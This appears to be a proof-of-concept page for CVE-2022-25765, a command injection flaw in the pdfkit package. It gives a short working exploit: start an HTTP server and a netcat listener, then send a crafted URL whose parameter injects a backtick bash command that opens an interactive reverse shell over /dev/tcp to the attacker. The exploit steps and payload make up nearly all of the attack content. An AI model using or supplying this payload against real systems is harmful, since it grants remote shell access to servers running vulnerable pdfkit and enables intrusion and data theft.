CVE-2022-25765 PoC — Command Injection

Source

https://github.com/lekosbelas/PDFkit-CMD-Injection

Associated Vulnerability

Title:Command Injection (CVE-2022-25765)
Description:The package pdfkit from 0.0.0 are vulnerable to Command Injection where the URL is not properly sanitized.

Description

CVE-2022-25765 pdfkit 0.8.6 command injection.

Readme

# PDFkit-CMD-Injection 

### CVE-2022-25765 Detail

#### Description
The package pdfkit from 0.0.0 are vulnerable to Command Injection where the URL is not properly sanitized.



### PoC

#### Start a HTTP server
<pre>
1- python3 -m http.server 80
</pre>
#### Start a netcat listener
<pre>
2- nc -lnvp 'Target Port'
</pre>
#### Make a request 
<pre>
3- http://"TARGET_ADDRESS:Target PORT"//?name=#{'%20`bash -c 'exec bash -i &>/dev/tcp/"Target_ADRESS/LISTENING_PORT"<&1'`'}
</pre>

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!